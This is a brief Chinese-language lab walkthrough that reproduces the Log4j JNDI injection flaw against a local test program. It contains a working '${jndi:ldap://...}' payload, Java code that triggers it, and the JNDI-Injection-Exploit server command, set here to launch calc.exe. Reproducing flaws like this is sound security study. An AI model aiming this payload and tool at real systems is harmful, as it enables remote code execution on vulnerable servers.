首先下载JNDI-Injection-Exploit,该jar包实现RMI、LDAP服务功能,对外提供服务,且包含用于执行攻击命令的ExecTemplateJDK7.class和ExecTemplateJDK8.class模版文件。
下载包含漏洞版本的log4j的jar包
使用如下3个jar包文件
添加上面3个jar包到工程:
编写测试代码:
import org.apache.log4j.Logger;
public class Log4jDemo {
/**
* @param args
*/
public static void main(String[] args) {
Logger log = Logger.getLogger("Demo");
// TODO Auto-generated method stub
System.out.println("Hello World!");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
log.error("Start");
log.error("${jndi:ldap://127.0.0.1:1389/tvakh1}");
log.error("End.");
}
}
启动服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "cmd /c call calc.exe" -A "127.0.0.1"
启动测试程序,触发漏洞,弹出计算器